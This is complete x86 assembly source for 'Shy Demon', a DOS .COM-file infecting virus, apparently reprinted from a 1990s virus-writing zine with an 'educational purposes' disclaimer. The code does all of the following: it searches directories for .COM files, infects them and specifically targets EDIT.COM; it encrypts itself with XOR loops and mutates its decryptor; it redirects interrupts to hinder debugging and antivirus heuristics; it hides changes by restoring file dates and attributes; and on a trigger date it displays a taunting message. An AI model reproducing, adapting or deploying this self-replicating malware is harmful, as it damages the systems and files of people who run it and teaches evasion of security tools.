;
;                          |- Source of Kaos -|
;                          |-    Issue #2    -|
;
; Disclaimer:
; This source code is provided educational purposes.  SOK takes no
; responsiblity for how this source code is used.
;
;
;
;|--------------------------------------------------------------------------|;
;|VirusName:    Shy Demon                                                   |;
;|VirusAuthor:  Death Wizard                                                |;
;|Origin:       Sweden                                                      |;
;|VirusKind:    A Non-Overwriting, Non-TSR .COM Infector                    |;
;|Stealth:      Minimal, Restores Time, Date And Attribs                    |;
;|Encryption:   Overlapping XOR Loops                                       |;
;|AnitDebug:    A Simple INT Redirection                                    |;
;|Dedication:   To All My Victimes...                                       |;
;|Special:      Infects C:\DOS\EDIT.COM On First Run In System              |;
;|Greets:       Gouse Out 2 IR For Beeing A Swedish Virii Group...          |;
;|--------------------------------------------------------------------------|;
;|..........................................................................|;
;|...........Sorry About The Source, But This Is My Second Virii............|;
;|..........................................................................|;
;|--------------------------------------------------------------------------|;






Virii   Segment
        Assume  cs:Virii, ds:Virii
        org     100h
Start:  db      24h,21h
        db      0e9h,01,00
        db      0cch

NextO:  nop
A:      mov     dx, 5945h
B:      mov     ax, 0fa01h
        int     16h

        call    FuckFPROT

FuckFPROT:
BX1:    mov     bx, sp
BX2:    add     word ptr cs:[bx],(HAHA-FuckFPROT)
BX3:    xor     bx, bx
        ret

HAHA:   mov     sp, 102h
        call    GetBP                   ;Nice Trick Raver...

GetBP:
E:      sub     bx, offset GetBP        ;Just A Small Change...
        nop                             ;Filler for lame poly...
F:      add     bx, word ptr cs:[100h]

C:      xchg    bx, bp
        nop                             ;Filler for lame poly...
D:      mov     sp, 0ffffh
                
        call    FuckHeu
        call    FuckHeu2

CryptStart:

        
        mov     ax, 3503h
        int     21h
        mov     [bp+Int3Seg], bx
        mov     [bp+Int3Off], es

        mov     ax, 3521h
        int     21h

        push    es
        pop     ds
        xchg    dx, bx

        mov     ax, 2503h
        int     21h

        push    cs
        pop     ds

        mov     ax, 3524h

        int     3
        ;int     3

        mov     [bp+Int24Off], bx
        mov     [bp+Int24Seg], es

        push    cs cs
        pop     ds es

        mov     ax, 2524h
        lea     dx, [bp+NewInt24]

        int     3
        ;int     3

        lea     si, [bp+OldBTS]
        mov     di, 100h
        movsw
        movsw
        movsw

        lea     dx, [bp+DTA]
        mov     ah, 1ah

        int     3
        ;int     3

        mov     ah, 47h
        mov     dl, 0
        lea     si, [bp+OldDir]

        int     3
        ;int     3

        mov     ah, 3bh
        lea     dx, [bp+DOS]

        int     3
        ;int     3

        mov     ah, 4eh
        mov     cx, 7
        lea     dx, [bp+EMask]
        call    FindMore

        mov     ah, 3bh
        lea     dx, [bp+Root]

        int     3
        ;int     3

DirLoop:call    FindAndInfect
        cmp     [bp+EFlag],1
        je      NoMore

        mov     ah, 3bh
        lea     dx, [bp+DotDot]

        int     3
        ;int     3

        jc      NoMore

        jmp     DirLoop

NoMore: mov     ah, 3bh
        lea     dx, [bp+Root]

        int     3
        ;int     3

        mov     ax, 2503h
        mov     dx, [bp+Int3Off]
        mov     ds, [bp+Int3Seg]

        int     3
        ;int     3

        lea     dx, [bp+Int24Off]
        mov     ds, [bp+Int24Seg]
        mov     ax, 2524h

        int     21h
        

        push    cs cs
        pop     ds es

        mov     ah, 2ah
        int     21h
        cmp     dx, 031Eh
        jne     NoBirth

        mov     ah, 0fh
        int     10h
        mov     ah, 0
        int     10h

        mov     ah, 1
        mov     cx, 3232
        int     10h

        mov     ah, 9
        lea     dx, [bp+SmallStringToShowForScaredLittleLamer]
        int     21h

        mov     ah, 0
        int     16h

        mov     ah, 1
        mov     cx, 0304
        int     10h

NoBirth:push    es

        cli
        mov     ax, ss
        mov     es, ax
        mov     ax, sp

        mov     dx, cs
        mov     ss, dx
        mov     sp, (offset MyS)
        add     sp, bp
        sti

        mov     cx, 10
        mov     bx, 0
HA:     push    bx
        pop     dx
        inc     bx
        inc     bx
        
        mov     di, (offset MyS)
        add     di, bp
        sub     di, bx
        mov     word ptr cs:[di], dx

        loop    HA

        cli
        mov     bx, es
        mov     ss, bx
        mov     sp, ax
        sti

        pop     es
        xor     bx, bx
        xor     cx, cx
        xor     dx, dx

        mov     ax, 100h
        jmp     ax

FindAndInfect:
        mov     ah, 4eh
        lea     dx, [bp+ComMask]
        mov     cx, 7

FindMore:
        int     3
        ;int     3
        jnc     NoReta

Reta:   ret

NoReta: ;ADDA

        lea     bx, [bp+offset DTA+30+5]
        cmp     word ptr [bx], 'DN'
        jne     Fix2
        jmp     GetNew

        ;ADDA

Fix2:   mov     ax, 4300h
        lea     dx, [bp+DTA+30]

        int     3
        ;int     3

        mov     [bp+OldAttr], cx

        xor     cx, cx
        mov     ax, 4301h
        lea     dx, [bp+DTA+30]

        int     3
        ;int     3

        mov     ax, 3d02h
        lea     dx, [bp+DTA+30]

        int     3
        ;int     3

        xchg    ax, bx

        mov     ax, 5700h

        int     3
        ;int     3

        mov     [bp+OldTime], cx
        mov     [bp+OldDate], dx

        mov     ah, 3fh
        lea     dx, [bp+OldBTS]
        mov     cx, 6

        int     3
        ;int     3

        push    bx
        lea     bx, [bp+OldBTS+5]

        cmp     byte ptr [bx], 0cch
        je      AllReadyAB
        pop     bx

        call    CheckFile

        xor     al, al
        call    Set_Point

        mov     ah, 30h
        add     ah, 10h
        mov     cx, 6
        lea     dx, [bp+JmpOp]

        int     3
        ;int     3

        inc     [bp+InfectCount]
        mov     ch, [bp+InfectCount]
        push    cx
        mov     [bp+InfectCount], 0

        mov     ah, 2ah

        int     3
        ;int     3

        mov     [bp+CryptV], dx
        rol     dx, 8
        mov     [bp+CryptV2], dx

        call    PolyMorfa
        
        mov     al, 2
        call    Set_Point
                
        call    Write

        pop     cx
        mov     [bp+InfectCount], ch

        push    bx
AllReady:
        pop     bx
        call    Close
GetNew: mov     ah, 4fh
        mov     cx, 0007
        jmp     FindMore


;***********************
;****  SUBROUTINES  ****
;***********************

AllReadyAB:
        jmp      AllReady


PolyMorfa:
        ;Start  A-B    Routine
        mov     word ptr ax, word ptr cs:[bp+A]
        mov     word ptr cs:[bp+Polymorf], ax
        mov     byte ptr al, byte ptr cs:[bp+A+2]
        mov     byte ptr cs:[bp+Polymorf+2], al


        mov     word ptr ax, word ptr cs:[bp+B]
        mov     word ptr cs:[bp+A], ax
        mov     byte ptr al, byte ptr cs:[bp+B+2]
        mov     byte ptr cs:[bp+A+2], al


        mov     word ptr ax, word ptr cs:[bp+Polymorf]
        mov     word ptr cs:[bp+B], ax
        mov     byte ptr al, byte ptr cs:[bp+Polymorf+2]
        mov     byte ptr cs:[bp+B+2], al
        ;End    A-B Routine

        ;Start  C-D    Routine
        mov     word ptr ax, word ptr cs:[bp+C]
        mov     word ptr cs:[bp+Polymorf], ax
        mov     byte ptr al, byte ptr cs:[bp+C+2]
        mov     byte ptr cs:[bp+Polymorf+2], al


        mov     word ptr ax, word ptr cs:[bp+D]
        mov     word ptr cs:[bp+C], ax
        mov     byte ptr al, byte ptr cs:[bp+D+2]
        mov     byte ptr cs:[bp+C+2], al


        mov     word ptr ax, word ptr cs:[bp+Polymorf]
        mov     word ptr cs:[bp+D], ax
        mov     byte ptr al, byte ptr cs:[bp+Polymorf+2]
        mov     byte ptr cs:[bp+D+2], al
        ;End    C-D Routine

        ;Start  E-F    Routine
        mov     word ptr ax, word ptr cs:[bp+E]
        mov     word ptr cs:[bp+Polymorf], ax
        mov     word ptr ax, word ptr cs:[bp+E+2]
        mov     word ptr cs:[bp+Polymorf+2], ax
        mov     byte ptr al, byte ptr cs:[bp+E+4]
        mov     byte ptr cs:[bp+Polymorf+4], al


        mov     word ptr ax, word ptr cs:[bp+F]
        mov     word ptr cs:[bp+E], ax
        mov     word ptr ax, word ptr cs:[bp+F+2]
        mov     word ptr cs:[bp+E+2], ax
        mov     byte ptr al, byte ptr cs:[bp+F+4]
        mov     byte ptr cs:[bp+E+4], al


        mov     word ptr ax, word ptr cs:[bp+Polymorf]
        mov     word ptr cs:[bp+F], ax
        mov     word ptr ax, word ptr cs:[bp+Polymorf+2]
        mov     word ptr cs:[bp+F+2], ax
        mov     byte ptr al, byte ptr cs:[bp+Polymorf+4]
        mov     byte ptr cs:[bp+F+4], al
        ;End    E-F Routine

        ;Start  Push1-Push2-Pop1    Routine
        mov     word ptr ax, word ptr cs:[bp+Push1]
        rol     ax, 8
        mov     word ptr cs:[bp+Push1], ax


        mov     word ptr ax, word ptr cs:[bp+Push2]
        rol     ax, 8
        mov     word ptr cs:[bp+Push2], ax


        mov     word ptr ax, word ptr cs:[bp+Pop1+1]
        rol     ax, 8
        mov     word ptr cs:[bp+Pop1+1], ax
        ;End    Push1-Push2-Pop1    Routine

        ;Start  SetUp-SetUp2    Routine
        mov     word ptr ax, word ptr cs:[bp+SetUp]
        mov     word ptr cs:[bp+Polymorf], ax
        mov     word ptr ax, word ptr cs:[bp+SetUp+2]
        mov     word ptr cs:[bp+Polymorf+2], ax


        mov     word ptr ax, word ptr cs:[bp+SetUp2]
        mov     word ptr cs:[bp+SetUp], ax
        mov     word ptr ax, word ptr cs:[bp+SetUp2+2]
        mov     word ptr cs:[bp+SetUp+2], ax


        mov     word ptr ax, word ptr cs:[bp+Polymorf]
        mov     word ptr cs:[bp+SetUp2], ax
        mov     word ptr ax, word ptr cs:[bp+Polymorf+2]
        mov     word ptr cs:[bp+SetUp2+2], ax
        ;End    SetUp-SetUp2 Routine

        ;Start  W1-W2    Routine
        mov     word ptr ax, word ptr cs:[bp+W1]
        mov     word ptr cs:[bp+Polymorf], ax
        mov     word ptr ax, word ptr cs:[bp+W1+2]
        mov     word ptr cs:[bp+Polymorf+2], ax


        mov     word ptr ax, word ptr cs:[bp+W2]
        mov     word ptr cs:[bp+W1], ax
        mov     word ptr ax, word ptr cs:[bp+W2+2]
        mov     word ptr cs:[bp+W1+2], ax


        mov     word ptr ax, word ptr cs:[bp+Polymorf]
        mov     word ptr cs:[bp+W2], ax
        mov     word ptr ax, word ptr cs:[bp+Polymorf+2]
        mov     word ptr cs:[bp+W2+2], ax
        ;End    W1-W2 Routine

        ;Start  RealPloy Routine
        mov     byte ptr al, byte ptr cs:[bp+Push1+2]
        cmp     al, 50h
        je      ToDx
        mov    byte ptr cs:[bp+Push1+2], 50h
        mov    byte ptr cs:[bp+Push2+2], 50h
        mov    byte ptr cs:[bp+Pop1], 58h

        mov    byte ptr cs:[bp+Looping+2], 07h
        mov    byte ptr cs:[bp+AX1+2], 86h
        mov    byte ptr cs:[bp+AX2+2], 86h
        jmp     OK

ToDx:
        mov    byte ptr cs:[bp+Push1+2], 52h
        mov    byte ptr cs:[bp+Push2+2], 52h
        mov    byte ptr cs:[bp+Pop1], 5Ah

        mov    byte ptr cs:[bp+Looping+2], 17h
        mov    byte ptr cs:[bp+AX1+2], 96h
        mov    byte ptr cs:[bp+AX2+2], 96h
OK:
        mov     byte ptr al, byte ptr cs:[bp+BX1+1]
        cmp     al, 0DCh
        je      ToSi
                
        mov    byte ptr cs:[bp+BX1+1], 0DCh
        mov    byte ptr cs:[bp+BX2+2], 07h
        mov    byte ptr cs:[bp+BX3+1], 0DBh

        jmp     OKA

ToSi:   mov    byte ptr cs:[bp+BX1+1], 0F4h
        mov    byte ptr cs:[bp+BX2+2], 04h
        mov    byte ptr cs:[bp+BX3+1], 0F6h
OKA:
        ;End    RealPoly Routine       

        ret

AllReadyA:
        jmp      AllReady


Close:  mov     cx, [bp+OldTime]
        mov     dx, [bp+OldDate]

        mov     ax, 5701h

        int     3
        ;int     3

        mov     ah, 3eh

        int     3
        ;int     3

        mov     cx, [bp+OldAttr]
        mov     ax, 4301h
        lea     dx, [bp+DTA+30]

        int     3
        ;int     3

        ret

Set_Point:
        mov     ah, 42h
        xor     cx, cx
        cwd

        int     3
        ;int     3

        ret

CheckFile:
        mov     ax, word ptr [bp+DTA+26]
        cmp     ax, 400
        jb      AllReadya
        cmp     ax, 64000
        ja      AllReadya

        cmp     [bp+InfectCount], 2
        je      SetNoo

        sub     ax, 5
        mov     word ptr [bp+JumpBuffer], ax
        ret

SetNoo: mov     [bp+EFlag], 1
        call    Close
        pop     bx
        jmp     Reta

NewInt24:
        iret

SmallStringToShowForScaredLittleLamer:
        db      "(C) Shy Demon Is A Dark Wizard 1996 Production",0ah,0dh
        db      "Hello... Hope I'm Not Disturbing....",0ah,0dh
        db      "Don't Wanna Cause Any Trouble... "
        db      "But I Just Infected 2 Files...",0ah,0dh
        db      "And If You're Not Nive To Me I Will Infect More...",0ah,0dh
        db      "Please Don't Kill Me!",0ah,0dh
        db      "We Virii's Also Have A Life You Know...",0ah,0dh
        db      "See Ya Next [03.30], Gotta Run...",0ah,0dh,24h

ViriiInfo       db      " [Shy Demon - Dark Wizard - Sweden - 96.03.10] "

JmpOp   db      24h,21h,0e9h
JumpBuffer      db      0,0,0cch
OldBTS  db      00,00,0cdh, 20h, 090h, 0cch
ComMask db      '*.com',0
EMask   db      'edit.com',0
DotDot  db      '..',0
EFlag   db      0
InfectCount     db      0
Polymorf db     0,0,0,0,0
DOS     db      '\DOS',0

CryptEnd:

nop


Write:  call    FuckHeu
        call    FuckHeu2
        
        mov     ah, 30h
        add     ah, 10h
W1:     mov     cx, EoF-NextO
        nop
W2:     lea     dx, [bp+NextO]

        int     3
        ;int     3

        call    FuckHeu2
        call    FuckHeu
        ret

FuckHeu:
Push1:  push    bx cx ax
AX1:    mov     ax, cs:[bp+CryptV]
JMP2:
SetUp:  lea     bx, cs:[bp+CryptStart]
SetUp2: mov     cx, (CryptEnd-CryptStart+1)/2
        nop

Looping:xor     word ptr cs:[bx], ax
        inc     bx
        inc     bx
        loop    Looping

Pop1:   pop     ax cx bx
        ret

FuckHeu2:

Push2:  push    bx cx ax

AX2:    mov     ax, cs:[bp+CryptV2]
        jmp     JMP2

CryptV  dw      00
CryptV2 dw      00
Root    db      '\'

EoF:

OldDir  db      65d dup(?)
db      "HA"
DTA     db      43d dup(?)

Int3    label   dword
Int3Off dw      ?
Int3Seg dw      ?

Int24    label   dword
Int24Off dw      ?
Int24Seg dw      ?

OldTime dw      ?
OldDate dw      ?
OldAttr dw      ?

Tempdb          db      100 dup(?)
MyS:

Virii   ENDS
        END     Start